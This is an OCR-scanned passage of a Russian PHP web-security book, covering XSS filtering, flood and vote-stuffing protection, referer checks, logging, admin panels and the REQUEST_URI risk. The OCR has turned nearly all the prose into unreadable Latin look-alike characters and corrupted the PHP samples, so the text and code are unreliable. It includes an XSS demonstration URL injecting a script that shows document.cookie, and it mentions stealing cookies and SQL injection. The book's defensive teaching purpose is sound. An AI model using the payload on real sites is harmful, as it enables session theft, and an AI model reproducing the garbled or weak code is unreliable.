TEKCT OT Tonb3osateneli W orobpaxaior ero Ha Web-crpanuue. Heobxomumo,
y1oBBl XaKep He cMor oToBpasUTh HA SKpaHe HUYero JuurHero. JUis 5Toro MOXHO
UCTONB30BaTE (DYHKLUHIO htmlspecialchars(), KOTOPYID Mbl PAacCMATPHBAIH
B pasdese 3.5. Ho y Hac yxe aoctatodHo MHOOPMALMK, STO0E He HANEATHCS HA
oty dyuxuuio. Ha molt 3mmsin, Oyner HaMHOIO JIyHiLE, €c/il Bbl HalHILETe pery-
AApHOE BhipaxeHue W QYHKIMIO, KOTopbie BymayT 3aMeHATH CHMBOJ < Ha mMocne-
[AOBATEBHOCTD &lt;. 3

Wcnons3osanue coBCTBEHHOrO PETyNApHOTO BLIPOKEHUA HE oﬁecnmaaerr 6o-
Nee BHICOKYIO CKOpocTh paboThl, 3aT0 rapaHTHPYeT YHHBEPCATLHOCTL MOAXOMA.
Bui Gynere Hapammpath (PYHKIMOHANLHOCTb, PACIIUPSS BOSMOXHOCTH NMOUCKA
H 3aMEeHBl.
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Hekoropsie nporpaMMHCTBI MIBITAIOTCS 3aNPEIHaTh TOJBKO ONpeieieHHbIe onac-
HEle TerM WIW MapaMerpbl Teroe (JavaScript, VBScript M Ap.), Hanpumep,
C TMIOMOLLIBIO TAKOH MPOLEAYPbI:

function RemoveScript($r)

{

§r = preg_replace("/javascript/i", "java&nbsp;scripténbsp;", $r);
$r = preg_replace("/vbscript/i", "vb&nbsp;scripténbsp;", $r);
return Sr;

}

He crout 3toro nenars. Bui obssarensHo ynycrute onacHsii Ter. Heobxomumo
3anpeinarb Bce, MM Balla cucteMa Ge3onacHocTH GeceMblCIEHHA.

3.12. ®nyp

BOJILIIHHCTBO XaKepoB HauMHACT CBOIO Kapsepy ¢ Heboabumx wanoctei, ogHoi
13 xotopbix sBasierest Gaya (flood). Yro sro Takoe? Hdomyerum, yrto Bel cosnaere
(hopyM MM rocTeByio KHHUTY, rae Jioboil nmoceTHTeNb cailTa MOXKeT OCTABUThL CBOE
cooblieHue. 3NOYMBIMIZIGHHUK MOXEeT MONLITAThCH 3acsinath 6asy AaHHBIX Gec-
CMbICAEHHBIMU coobuieHus My, KoMmy-To KaKeTcss 3TO CMElIHBIM, HO s BHKY
B 3TOM TOJIBKO [JIYNOCTh ¥ AETCKYIO WaN0CTh.

3.12.1. 3awwmra ot chnyaa coobuieHusMM

Haunyqmmm papuadTom 3anumrsl or duryna Byaer 3anper Ha OTAPABKY € ONHOrO
u Toro xe [P-anpeca Heckonskux coobiueHmit noapsan. s aroro MOXHO peani-
30BaTh B CLEHAPHH CIEAYIOUIYIO JIOPHKY:

1. Tocne ornpasky nojib30BaTesieM CooBlUeHHs anpec NOCeTUTENs W TeKyiies
BPEMsl COXpaHSIOTCH HA cepsepe B Gaze janublX, XpaHuTh aapec HeobXomumo
HMEHHO Ha CepBepe, MOTOMY YTO BCe, YTO HAXOAMUTCH HA KOMIIbIoTEepe-
Kinenre, Ges npobieM YHHYTOXKAETCS 3a MATH CeKyHa, 4 To 1 Ouictpee. Yrobul
ONMpEeieNIUTE alpec KIMEHTa, MOXHO HCIONL30BATEH [IEPEMEHHYIO OKPYKeHHs
REMOTE_ADDR:

$_SERVER{ "REMOTE_ADDR" ]
2. Ipu npuusTiu coobluieHus OF noab3oBartens HeoGXoAMMO yAAnUTh U3 Gaiwl

Bece [P-ampeca, spemsi XpaHeHMs! KOTOPBIX TpeBLIlLAST ONMpeaeJeHHOe Konuye-
cTBO MMHYT. Yalie Bcero JoCTaToMHO ABYX MHMHYT.

3. Teneps nposepsiem, ocrancs au [P-agpec B 6aze manwmsix. Ecnu na, To He 06-
pabarsiBaeM MojyYeHHoe cooblienne, a Bbimaem coobuieHue Turna “Hennsn
OCTaBJIATH [BA COODIUEHUS B TEUEHHE ABYX MUHYT".

Kak mokaseiBaeT nmpakTHKa, 3TOyMBIIUIEHHUKKM He Byayt "daynuts” Ha cepsepe,
re ycTaHOBJIeHa Takas 3auuTa. 9To OTHUMAET CAMIIKOM MHOro BpeMeHM, a 3¢h-
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ekt MEHHUMANEH, NOTOMY YTO MHOFO cooOUIeHHH ocraBurh He yracres. Bumn-
MO, 3TO YK€ HE CMELUHO, i XaKepkl OCTARIAIOT TAKOH cepBep B NOKOE.

3.12.2. 3awura or HAaKPYTKN roslIocoBaHwii

Pyt MOXKET MCHONLIOBATLCA M Ul HAKPYTOK rONOCOBAHMSA. 3MOYMBIIIEHHUK
oTaeT CBOW roJioc 3a ONHH W TOT Ke BAPHAHT me'ra HECKOJILKO Pa3, CACNAB ro-
JIOCOBaHHE HeOOBEKTHBHBLIM.

[Tepsoe, 4TO MPUXOMHT B roOBY /Ulst 3aNTEI of duiyna, — coxpaml'rb Ha HHcKe
noib3osarens gaiin cookie, B KOTopoM ByIET MPHCYTCTBOBATH MAPAMETD, YKa3bl-
BAIOLIHI HA TO, YTO MOJIL3OBATEE YKE [IPOrosocoBal.

[aTh ner wasan cuerema ronocopanus Ha www.download.com ne umena abco-
JOTHO HUKAKOM 3autuTsl oT ayaa, H MoxHo OBUIO BOCMONLIOBATLCH MPOCTeH-
wiM crocoBoM BLICTPOro: Bl 3aXONNTE HA caiiT, BHIOMpaeTe HYXHbLI BapHaHT
orgeTa M HayuHaere GhICTPO WeAKaTh Ha Knonke OTnpasuTs.

Nonyctum, BBl HCNOAB3YeTe NPOCTYIO TeNeOHHYIO JIMHWIO. TOrAa JUIS OTIIPaBKN
BALIErO OTBETA W MOAYMEHMs NOATBepAKAeHus (T. e, cookie-daiina) HyKHO BpeMs.
Eciu B MOMEHT MEpechUKH/MONYYCHHS NAKeTa [OBTOPHO HAXKATH KHOIKY
OrnpaBurh, TO NMPEAbIIYINAs MOCHUTKA HA KNMEHTCKOM CTOpOHE CMMTAETCs Hesa-
BEPILEHHOH M OTMEHMETCS, ¥ HaYnHaeT paboTaTh HOBBII ceaHc oOMEHA KAHHLIMM.
Korna wa mepsylo oTnpaBKy NpHIET NMOATBEPXk/IeHHE cepBepa W rnpockba wame-
HuTh aitn cookie, 3anpoc OyneT OTKIOHEH H3-3a HECOBMANCHNS CEAHCOB.

CrenosaresibHo, eciu BpicTpo wenkarh Ha KHonke Ornpasars, To GyAyT oTlipas-
MATBCA MAKETHl ¢ BALMMIL BAPUAHTAMHK OTBETa, a CepBep Mx obpaboraer m noGa-
BHT TOy4eHHbIe rojioca (T. e. BhINoAHATCH warn 1 H 2). A BOT Balll KOMIIBIOTEP
CTAHET OTKJIOHATH NOATBEPXKICHHS, W TPeTHil war 5yne1' MponycKaTECH, MOKA He
[POU30HIET OMHO H3 CIEAYIOUIMX COOBITHIA:

O ecnm BBl MPEKPATHTE GBICTPO LEAKATH HA KHOIMKE ormpanx}r orma. 10 Gpay-
‘3ep mpumer daitn cookie, monydeHHbil B pedyibrate mocheMHero iuleuka,
"M COXPaHHT €ro;

O ecnn Mexay UIeTYKAMH HA KHONKE OTNpaBKd cepsep obpaboran 3anpoc,
a Ball KOMTBIOTEP ycrie/l MPHHATH MOATBEpXAEHUE, To (ailn Gyser coznaH,
W fanbHeHUINe IeMIKN CTAHYT HeBOIMOXHBIMM,

Ha semenrenssx THHUAX ¢ GomblIoil CKOPOCTHIO nomcruoqeﬂun oﬁmcn naxe'ramu
NPOHCXOAUT GBICTPO, H MOXKHO HE YCHETh WEIKHYTh B O4EpeNHON Pas, a 3HaYuT,
(aitn cookie 6yner cosnan. Yrobul ocraBuTh HOBOE coobuleHMe, MPUIETCS yna-
mTh daiin | TOMbKO Nocne 3TOTO MOBTOPHTL NMOMBITKY. DT0 OTHUMAET CIMIIKOM
MHOIO BpeMeHHW, W TAKOi HakpyTkoll Mano KTo 3aHMMaercs. A eciH Ha cepsepe
ewe u coxpansiercst |P-anpec mporosocosasiiny fosns3osareneil, 70 Xakepsl Bo-
obuue He OyayT CBA3BIBATHCA C TAKMM caliToM.

BapuanToB HAKPYTKM CLEHAPHEB TONOCOBAHKHA MHOFO, # MBI PACCMOTPR/IM TO/b-
KO OIIMH — caMblii mpocToif. Bbl MOXeTe NO3HaKOMUTECS M C APYTMMHA BapuaH-
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TamMu B KHure "Komnsiorep rnasamu xaxkepa" [2). Hama xe sanava paccMoTpers
9¢gdexTHBHBIH METON 3ALMTE OT HAKPYTKH.

Camptit addexTrBHBINH cniocob — coxpanars [P-aapeca mporonocosasux B Gase
JAaHHEIX cepBepa. DT aapeca NOMKHLL XPAHMTLCA, MOKA HE CMEHUTCH Ompoc.
B aroMm ciryuae ¢ ogroro [P-aapeca Hukoraa Helbasi OYIeT NPOros0coBaTh ABAKIIAL.

OznHako 3T0 He 3HAYMT, YTO ONPEAENeHHEIN MONLIOBATENb HE CMOXET NpPoroJio-
COBaTh ABAXILI. Mbl MPUBSBATHCE K AlPECy, a4 He K MOAL30BaTe/0. XaKkep MOXET
NOAKMIOYUTECS Yepe3 aHOHHMHLINR MPOKCH-CepBep W CHOBA TIPOroJIOCOBaTh, MO-
TOMy 4TO Ball cueHapuit ysuaut [P-agpec npokcu, a He xakepa. Ho mHoro jiu
MOXHO HailTH aHOHMMHBIX npokcn? S Aymalo, YTo HeT, MO3TOMY CHJILHO MOB/IH-
ATh HA XOI rOJIOCOBAHMS HE YAACTCH, A €CNM KTO-TO YXe [POrojiocoBal 4Yepes
TTPOKCH, TO XaKep HE CMOXET 9TOT0 CAENaTh.

Bosutscs ¢ npokcH-cepsepamMu Xakepsl He MobAT, noTroMy 410 abdekT MUHHMA-
JIeH, a BOT Ul TOJNIOCOBAHMSN Takasd 3ammra ssasercsd MuHycom. B Mureprere
OYeHb MHOro GONBIIMX ceTeil, KOTOpbIE CBA3AHBI C BHEIIHUM MHPOM uepes
npokcu- unu NAT- (Network Address Translation, TpaHcisist ceTeBbIX apecos)
cepeepsl. B 9TOM clytae BCe MONB3OBATENM BUIHBI 13 WHTEpHETA C OMHAM U TeMm
xe IP-agpecom, M 3TO CO3flaeT Cepbe3Hbie NMpobieMbl VA 3alIUTH CLEHAPHED.
JocTaroyHo OZHOMY NOJAB3OBATENIO OTHATH CBOH rojiioc, W BCE OCTANLHBIE YXe
aroro He cMoryT. Tloayyaercs, YTO TAKYIO 3auUiMTy HElb3s HA3BaTh 3dderTHBHON,
MOTOMY YTO Y HE€ eCcTh CNUUIKOM OONBII0H HEloCTaToK,

Bonee sddexruBHbiM MeTogoMm Bymer coxpaHeHue B 6ase manubiX IP-ampeca
TONBKO Ha OMpejeneHHOE BpeMs#, Kak WM npu sawmrte or duyna coobuieHuii.
B sTom cnyuyae Bce nosmb3oBaTed CMOTYT NpPOroJOCOBaTh, IIABHOE, 4TOOLI OHM
TONIOCOBAIN HEOAHOBPEMEHHO. BripoueM, M xakep CMOXET Yepes OnpelefieHHbIe
MIPOMEXYTKH BpEMEHH OCTABJIATE CBOM rojoc,

BonblMHCTBO caliTOB MOCHSAHEE BPEMS CTAIM PAspeluaTh roJOCOBAHUE TONBKO
3aPErHCTPUPOBAHHEIM MO/BIOBATENAM. DT0 U3HAYAIBHO OTPAHWYHBAET KPYr Ji0-
Iieit, KOTOphIE MOTYT BEIPA3uTH CBOE MHEHWE, HO 3aT0 cosuaer Gonee addexrun-
Hy10 3amtuTy ot duyna. Tenepb xakepy, 4ToGsl MPOrosOCOBATh, HYXHO 3aperucT-
pupoBarteca Ha caiite, a ecau 3TOT npouecc norpebyer neiicTBUTENBHOrO anpeca
e-mail (Ha KoTopLIit GyIeT OTNPABIATECA KON aKTHBALMNI), TO i TOro, YTobhl OT-
nath anrbIIMBLEIA FON0C, XaKepy HYXHO OYAET BHIMONHHUTD CHeAyIoMe neficTBus:

1. 3apervcTpupoBaTh MOYTOBLIN SUIMK HA mobit GecriatHoit cnyx6e. Bnaro, Ta-
KHX cryx6 B MHTEpHETE 10CTATOYHO, W 3TO HE COCTABMT 0coGoro Tpyaa.

2. 3aperucTpUpoBaThCsi Ha caiiTe © YKajlaHHEM 3aperMcTPHPOBAHHOTO SILHKA,
Kyna Gyner BhIC/IAH KO aKTHBALIMM.

3. AKTMBHPOBATE YYETHYIO 3aMKCh H MPOTOJIOCOBATb.

Bce 3t urarm HecNOXHBIE, HO OTHMMAIOT OYeHb MHOTO BPEMEHM M CWJI, & Xake-
PBl NTEHHBH ¥ He OyayT 3aHHMAaThCA TONOOMEIMM Belamu, 3aTo nobponopsanod-
HBIM MOJb30BATEAMM MBI HCITOPTHM XH3Hb.
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TMonywaeres, uto mobomy ronocopaHuio B MUHTEpHETE HENMB3S HOBEPATH, MOTOMY
YTO OHO HE MOXeT OTpaxkarh HAeicTBMTeNbHOCTb. Ecii peanu3oBaTh XECTKyiO 3a-
IWMTY OT (uiyna, TO MPOroNocyioT A4NeKo He BCe, @ ec/M 3alUTY XOTh HEMHOro
CMATYUTh, TO XaKephl cymelor ee oboitti. [dpyroe aeno, ¢ kakumu 3arparamu Oy-
Aer cBsA3aH 06xo/l. 3arparhl B JAHHOM C/yyae CBA3aHbI CO BpeMEHeM M YCHIHMSIMM.
HakpyTka ronocoBaHusi — 310 He T4 OGMACTh, [A€ XaKepbl NOMKHBI MPUMEHATL
CBOM 3HAHMS M YMEHMs. DIMTA TAKOrO BITOMA HE ONOGPUT, Ja U CHIBHO HaBpe-
JATH HE YHACTCS, NOITOMY HHYEro CMELIHOTO TYT He Gyjer.

3.13. 3awura ot uameHeHus Popmbl

Y PHP ects ofHa unTepecHas nepeMenHas OKpYKeHWs: HTTP_REFERER. B Heit
JIOJDKEH HaxoauThes nyTh K haliny, U3 Koroporo Gbin sanyiueH cuexapuit. Ha-
BaiiTe cosmamuM daitn env.php co CreayOlIMM COTEPKUMbIM:

<form action="env.php" method="get">

<B>BpepuTe KaxkoN-HMOYIE TercT</B>

<BR>TekcT: <input name="server">

<BR><input type="submit" value="OK">

</form>

<?php
print {$HTTP_REFERER) ;

>

3neck onpenesensl (opMa Ui BEOLA TEKCTa ¥ Mepelay ero cueHapuio n PHP-
KON, KOTOpBIif BeIBOAMT Ha Web-cTpaHmily colepXuMoe nepeMeHHOH
HTTP_REFERER., 3arpyaure 3ror cueHapuii B Gpaysep. B pesyisrare Ha skpade
noMuMo OpMBL IS BBOJA TEKeTa MoXeT OuITh BhIBeAeH NyTh K daitny, oTKyaa
6bU1 3anylieH cLeHapuil, HO MPM 3anycke OH MOXeT ObITh W mycThiM. Tenepb
norpobyiiTe BBeCTH Kakoi-Hubyib TeKCT B Mojie BBOAA M NepelaTh ero cepBepy.
Bor Tenepb nepemeHHas HTTP_REFERER TOYHO JIO/DKHA OTpaxarb nyTe. B moem
cnysae Ha Web-crpanuue s ysuaen http://192.168.77.1/env.php, 3mecs
192.168.77.1 — osro IP-ampec xomnbioTepa, Ile y MeHs ycrasomieH Linux
¢ Web-cepsepom Apache+PHP.

Teneps nonpoGyeM coxpaHUThb (aili HA CBOEM XECTKOM AWCKE M HCIpaBUM
nyTh B MoOJe action (POPMBI Tak, 4ToObl NAHHBIE (bopub: nepenasaiucs Web-
cepBepy:

<form action="http://192.168.77,1/env.php" method="get">

<B>BeemuTe Kaxoi-HuOYmL TeKcT</B>

<BR>Texer: <input name="server">

<BR><input type="submit" value="OK">
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</form>

<7php _
print ($HTTE_REFERER) ;
>

Xakepsl o4eHb 4acTo coxpaHsioT Web-CTpaHuiisl Ha CBOeM JMCKe JUIS H3YMCHHS
M KOPPeKTUPOBKH TApaMeTpoB, HANpPHMep, NapaMerpos [epelaBaeMbiX MeTo-
ZIOM POST.

3arpysute 3ToT (haiin co csoero JKECTKOTO IMcKa u nonpobylite Tenepb nepeaars
napamerp cepsepy. Tak Kak B IaHHOM Cjly4ae cileHapHil 3amycKaercs He ¢ ceppe-
pa, TO nepemMeHHas HTTP_REFERER OyleT couepxarb YTO YrONHO, HO TOIBKO He
agpec cepsepa 192,168.77.1. Takum 06pasom, B CLUEHAPUM MOXHO CIENAThH clie-
NYIOLLLYIO 3alNATY:
<7
if (isset($server))
if (lereg("~192\.168.8\.88"))
{
die{"He crTouT Tax BEamMuBarTe cair");

)
>

Teneps coXpanuTh CTPAHMILY HA JIOKATBHOM XeCTKOM AWCKe ByneT croxHee.

3.14. ConpoBoxpaeHue XypHana

IMpu paspaborke Web-nprnoxerns HeoGX0AHMO NHO3AGOTHTECH M O CO3NAHMM
AKypHana oCHOBHBIX M3MeHeHuit. [da, y Web-cepsepa ecth cobeTBeHHBIH JKypHl,
B KOTOpPOM COXPAaHSeTCsl BCH AKTUBHOCTH MoJib3oBatesiell, HO Ha KpPYMHBIX cafirTax
¢ DombluMM KOIMYECTBOM ToceTHTeNel pasobparkcs B TAKOM XYpHANE OYeHsH
CJIOXHO, @ HHOLA MPOCTO HEBO3IMOXHO,

EcTb 1 BTOpoil apryMeHT B MMO/b3y COBCTBEHHOTO XYpPHAIA — He KaXIblif Xoc-
THHI MOXET TMPENOCTABNATL HOCTYN K XKypHatam Web-cepsepa. A, Hanpumep, Hu
pa3y He BMIAEH TAKOH BO3MOXHOCTH IS Tofib3oparesiedl HecniaTHoro XocTuHra,

B pasdene 5.3.3 Ml Gynem paccMaTpuBaTh, KAK MOXHO CAMOCTOATENBHO pealn3o-
BATH CUCTEMY ayTeHTH(hUKALMK monb3oBareseit. Haur cuenapuit Gynet nposepsts
BBENIEHHEIE [TONIL3OBATENIEM UMM M IAPOb, W €CIM HAHHBIE YKA3aHBI BEPHO, TO
MOJIb30BaTeN0 OyAyT BBIIAHB! OnpefeneHHble Npaga Ha BIMOTHEHUE KAKUX-TUbo
neiersuit. JlonyceTusm, 4To Xakep Hanuvcan nporpaMmmy noabopa napons ans pa-
wero cueHapus 1 samyctin ee. C nomoiusio XxypHana Web-cepsepa ysuaeTs no-
neiTKy noabopa Gyaer He TaK YK M MPOCTO, 3aTo, ecAW B Bamei 6Gase maHHBIX
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Gyner oruenbHas TAGNWLA, PETHCTPUPYIOUIAN BCE YAAMHbLIE H HeYJAYHBIE [TOMbLITKH
BX0Ad, TO Best MHBOPMALIMA O [TONBITKAX HEBEPHOTO BXoad GyAeT KAk Ha JaioHM.

Cucrembl ayreHTH(DHKALMKY OYEHDL YACTO CTAHOBATCH OOBEKTOM HANANSHHS co
CTOPOHBI XAKEPOB, TIOATOMY JKYPH@I MOMOKET BaM M B BeIABIeHUN ommbok. Eciau
B NporpaMMe MpHUcyreTsyeT ommnbra, u xakep sanyctun araky SQL Injection, Ha-
npuMep, YKasas B Ka4ecTse Napois 3anpoc, To 3T0T Napoilb COXPAHUTCS B BalLeM
xyprane. TlpH ananuse MpousolleNIIero B3JIOMA Bbl CPasy Xe YBHANTE, KaKoi
CHMBOJI B 1aposie HeODXOAMMO 3ANPeTHTD, YTOGH He AonyeTuTh noaodHoro B Gy-
aymem. Bes coberseHHOro XypHana Takoil aHAIM3 3a4acTyio NPOBECTH HEBO3-
MOXHO.

A Haneock, 4To cMOr YHeauTs Bac B cO3aHUH COBCTBEHHOTO XYPHAIA perucTpa-
UAK OCHOBHBIX ACHCTBHIl NOMB3OBATENR. A MTO HYKHO OTHECTH K OCHOBHOMY,
a yro Her? TpyaHo cKasath, HO 51 BBl TOPEKOMEHIOBA PETHCTPUPOBATE:

0O cobbitug ayreHTHgUKaLNU — BpeMs 3arnpoca MnoNb3oBarens, PeayibTaT npo-
BepKH, YKazaHHBIE WM M napoib, [P-aapec nons3oparensn. B manxom ciyuae
naposib AOJDKEH COXPaHsThCA B Dase JaHHBIX TOJILKO B TOM Ciydae, Koraa ay-
TeHTHhUKaUMA npouwa HeynauHo. lelicTBHTENBHBIC TAPOIN COXPAHATL HEAL3s,

O usMeHeHue napamerpos ayrentudukainmn — ppemsi, [P-anpec kanenra, cra-
pblif ¥ HOBBII ApPOJib;

0 u3meHeHHEe OCHOBHBLIX MapameTpos cucteMbl. Hampumep, va dopyme ato na-
pameTpsl hopyMa, Co3naHue HOBBIX PASAENOB W T, IL.;

O w3meneHue rnapaMerpoB nosabiosarens. B GompuniHerse Web-nporpamsm, B Ko-
TOPEIX €CTh ABTOPHU3ALMS MOJb30BaTeNeH, ecTh U NMpoduIsL Moib3oBareNs, e
KXl MOCeTHTENb CAilTa MOXET HACTPOUTEL CBOM CODCTBEHHBIE TAPAMETPHI
M npennovurenus Ha caire. Ha ¢opymax B npoghuie nonbsosaveny uaine
BCErO MOTYT M3MEHSTb MKOHKY, KoTopas OyleT MOSBIATHCA Hai coobuteHus -
MM, TIOAIMCH M T. M.

Bsnomer GeiBaloT Beeraa, M OT 9TOrO HHKyZAa He aeThest. [eno B TOM, YTO cleHa-
PHY [TMLLYT JIOOH, 4 UM CBOHCTBEHHO olunbarses, W ecan omnbKy Haﬁ.ne'r Xakep,
TO cepsep Oyaer B ONACHOCTH, NMOKA 00 3TOM HE Y3HAIOT MPOrpaMMHMCTBI M He
uenpasar omwubky. KypHan nomoxer BaM OLICTPO BHIABATH HEIUTATHBIE CUTYa-
UMM ¥ THKBUAMPOBATH MX. Byler Xopoluo, eciiy XypHAIL OKAXeTCs MAKCHMATbHO
ynoGueiM. Hampumep, xypHanst Apache oueHb MOIIHBI, HO JANEKW OT Mueana
W HE OYEHB MOAXONAT JUTSl PEeLICHUs 3a1aY, BCTAIOUINX TEPEa NMpOorpaMMuCTaMi.

3.15. 3awumra oT HenpaBoOMepPHbIX N3MEHeHNi

Kak s3amuTHThCS OT HenpaBoMepHOro W3MeHeHHs WH(OPMALAH O NMoIb3oBaTENe

B Gase naHHbX? EcTh HECKONBKO BAPHAHTOB PelEHNs] STOH npobnemsi:

O adpexrnBHOR pellieHHEe JIeXUT HAa MOBEPXHOCTH — MpPH MOMLITKE W3MEHHMTh
uHGOPMALIMIO, KacalOWLyIOCs I10/Ib30BaTeNsl, HeoOXOMMMO MpPOBEPTH, & €cTh

7 3ux. 1315
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JIH ceifyac 3TOT mosb3oBarens Ha caifte? Ecnn mogk3osaTtenk He BXOAMN HA
CaiiT B TEYEHHE Yaca, TO OH HE MOCr BBHINOMHATL HUKAKMX M3MEHEHHH cBOero
npodus;

0 MOXHO CcO3[aTh OTAEGNbHOE MoNe Ul XpaHeHWs] KOHTPOJBHON CYMMBl Beex
noneit. Ecnu Xakep we Oyner 3narth aaropuTMa WIW BOoDIE HE Y3HAET O Cy-
LIECTBOBAHUM JIONOIHHTENBHOTO 1105, TO, H3IMEHUB JaHHbIE, OH HE CMOXEeT
U3IMEHATE KOHTPOILHYIO CYMMY!

A ecnm 3TH METOABI 3AIUMTHI PEANTH30BATL OAHOBPEMEHHO, TO TAKYIO 3alUMTy
oboitrn Gyier etue TpyidHee. BEIMOMHUTE HECKOMLKO YCIOBHH OAHOBPEMEHHO HA~ -
MHOTO CITOXHEEe.

3.17. NaxHenb agMuHUCTpaTopa

Ecnn Bb! co3paere caiiT ¢ MOMOIIBI KAKOTO-M1G0 SI3kIKA MPOrpaMMHPOBAHU, TO
HesmuIHuM Oynet caenars ob6HoBIeHue caiita yepes Web-unrepdeiic. s storo
yaule BCero MMILIYTCs CUEHAPUH AAMHHHCTPATOPOB/MOAGPATOPOB, B KOTOPBIX OI1-
pelleneHHbIe TOIB30BATENIH MOTYT NOMONHATE caiT wHdopmanueit. Takne cruena-
puM TPeOGyIOT OTHENBHON 3alUTHL, M ceifyac Mbl paceMoTpum Hanbonee THnMY-
Hble OnIMGKH MPOrpPaMMHCTOB.

[NepBas ommnbKa: HeNB3sl KOA AAMUHHCTPUpOBaHUS pasGpackiBath HA cepBepe fo
pasHbIM Katasoram. B sarom ciyuae oveHs cnoxHo GyAET KOHTPOAMPOBATH caiT U
ero HezonacHocTh. Bech Koo anMMHHCTPHPOBaHUs J0KeH 6biTh coGpaH B cue-
HapHsX OAHOro M TONBLKO OAHOIO Katajora Ha cepsepe. [laxe aBa xarajiora 1o-
HH34T Ge3onacHocTh U 0caabar KOHTPOIb.

Huxoraa He nenaiite ¢ChUTKH Ha CUEHAPUH aAMWHMCTPHpOBaHMs Ha obienoc-
TYRHBIX cTpannuax. JKenarensHo, 4robsl Boobule ceulmok He GbUIO, U Xakep He
3HAL, TAe HAXOAATCS CLeHAapHuH, KAKUe Y HHUX UMeHa M Kakue rapamerpsl. Yem
MEHbIlIE 3HAET XaKep, TeM JyulLe.

Ecnm BbI BHIMTOJIHKTE 9TH 1BA YCIIOBMsSI, TO BaM mpoie Gyner geficTBoBaTh B ¢ry-
yae panoma. Bamomsl ObIBAIOT Beeraa, MOTOMY 4TO Bee Mbl OlIMBaeMcs, TONBKO He
Bce ownbku ObIBalOT KpuTHUHBIMU. Halua 3agava — 3apaHee npejycMOTPETh BCe
BO3MOXHOE, 4T00B! IeiCTBUS XaKepa MpUHEeCTH MHHAMATLHBIN yiep6.

Eenau xakep kakuM-inbo obpazoM MOMYUMT napois aiMHHKCTparopa WKW Mome-
paropa, TO Bbl AOCTATOYHO OBICTPO CMOXETE OrPAHHYMTDL €ro AeCTBUS TIPOCTHIM
nepeMMEHOBAHHEM KaTajiora co CLeHapusiMU anMmuHucTparopa. B srom ciayuae
XaKep HE CMOXET HMYEro cienarh, eciii He Oyner 3HaTh, Te HAXOMSTCH HYXHEIE
eMy daitnsr.

Pas yx Mel 3aTpoHYAM TEMY [felicTBUI AMMHUCTPATOPa BO BpeMsl BI/IOMA, XOYeT-
Csl AaTh COBET HA OCHOBE JIMYHOTO OnbiTa. PaHbwe s paGoran ¢ GecrmaTHeIMY
dopymamu phpBB u IPB (Invision Power Board). Ouyenbt xopoune dopymsl.
Sl HUUYTL He Xouy OcKOpOWTE MW ODMIETH MX ABTOPOB, HO 3TH (hOPYMBI HOCTA-
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TOYHO MONYAAPHbL, i MO3TOMY XaKepbl PETysipHO HAaXOAWNHM B HUX PasiHYHBIC
ownbku. Korna omnbia oxassiBaercst KPUTHMHOM, BCce NMOAB3OBATENN TAKHX do-
PYMOB CT@HOBSITCS YS3BUMBIMH.

Ecam Bawt (opym BINOMATM M BH 3AMETIUIM HeNpaBoMepHble ASHCTBHS, TO He-
Me/UIeHHO nepenMenyiiTe opyM. ITycTb OH OKAXKETCs HA KAaKoe-TO BPeMsl Heloc-
TYMHbLIM, HO 3aTO OCTaHeTcsi ueibiM. Tenepb o6HOBHTE cUeHApHH, YToGK Mcnpa-
BHTb OWMOKK, M WM3MEHHTE MAPOAM AIMHHMCTPATOPOB. TONLKO fOCHE STOTO
MOXHO BOCCTAHOBMTb MM# Karanora ¢ copymMom, 4TobBl nosnb3oBaTeNH MOIIH

c HAM paboTtars.

Takum Xe obpazoM HeoGXOAHMO AeicTBOBaTh ¢ JIOGBIMK (aitiaMK cueHapues,
KOTOpPBIE OKA3ANMCH NPUYMHON Banoma. Yalie Beero 310 GHIBAIOT HMEHHO ClLeHa-
pHH M3 MaHeNH AIMUHUCTPUPOBAHMSA, MOTOMY YTO 3[€Ch HAXOAMTCS AOCTATOMHO
onacHbli s cepsepa koa. Maiin, craBmmil NPUYHHON B3ToMa, AOIKEH OBITH
neperMEeHOBaH WIH Jaxe yaaleH ¢ cepsepa (ecau y Bac €CThb Pe3epBHAst KON
HA IpyroM KOMIbIOTepe). 3aTeM NpOMCXOAWT HchpasieHue olwMOKM M BoccTa-
HopJsieHue aiira.

3.18. OnacHbiiit REQUEST _URI

B pasdese 2.12.1 mbl paccMaTpHBaNU NEPEMEHHBIE OKPYXEHHSA, W Cpell HHX Obi-
NIa ojiHa O4eHb ymnobHas nepeMeHHasi $SREQUEST_URI. He nosepsiite atoMy napa-
METpY, MOTOMY 4TO Xakep MOXKET JIerKo MOBMHATh Ha Hero. JlornycTuM, y Bac ecTb
cnenyioutuit kon Gopmer
<?
print("<form action=\"http://".5SERVER_NAME.SREQUEST_URI\"
method=\"post\">");

// Spneck HAXORATCA SJAEMEHTH YNpaBAeHMA

print("<input type=\"submit\" value=\"Submit\">");
print ("</form>") ;
2>

B nanHom cayuae dopma nepenaeT BBEISHHLIE NdHHLIE CLEHApPHMIO, alpec KOTo-
poro GopMmupyercs U3 nepeMeHHbIX SSERVER_NAME W $REQUEST_URI. Ecin obne-
JUHUTD COAEPXKMUMOE 3TUX IBYX TIepeMeHHBIX, To noayuutes noanbiit URL k Te-
KylieMy CUEHApHIO, T. e. CUEHApHil HanpaBuT JaHHbIE caMm cebe, HO NpPU 3TOM
URL Gyaer ompenened auHamuyeckd. OdeHb yaobGHoe peleHue, HO OTNAcHOE.
Jonycrum, uro xakep seenet B crpoke URL caenyiommii anpec:

http://yoursite/index.php?"> <script>alert(document.cookie)</script>

B otser Ha 310 Gpaysep orobpasut MonanbHOE OKHO, B KOTOPOM OyIET NoKa3aHo
conepxumoe ¢aitios cookie. [la, xakep ysuaMt cBon cookie-chaiinel, Ho, 4TOGbLI
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YKpacTh NaHHBIE APYTOTO I10/1b30BaTENsl, NOCTATOYHO CHENATh TaK, YTobbl XepTsa
LIETKHYIA 110 HYXKHOM CCBUIKE, ¥ NMOCTABHThL HemHoro apyroil JavaScript-xon.

Obs3arensHO NpoBepsiiiTe nepeMeHHyI0 SREQUEST URI HA HENOIYCTUMBIE CHM-
BOJBI, & HMEHHO, HEOOXONMMO BEIPE3aTh MONLITKY oOpaleHNs K < WK >.

3.19. Pesiome

PaspabareiBass Web-npuioxeHnsi, Bbl AOMKHBI TIOMHWUTbH, YTO MAaKCUMAILHOM
6e30nacHOCTH MOXHO JOOMTBCSI, TONLKO €C/IM paccMarpuBarb mpobiemMy B KOM-
TJIEKCE ¥ pelllaTh 3aaayy COBMECTHO ¢ aIMHHWCTPATOPaMU U CHEelHaIucTaMu no
6esonacHocTH. BanmoMminuku — yHHBepcanbHble crnenuanuctel. Haubonee npo-
(heccHOHATbHBIE M3 HUX AHUTM3MPYIOT YIAIEHHYIO CHCTEMY cO Beex cropoH: OC,
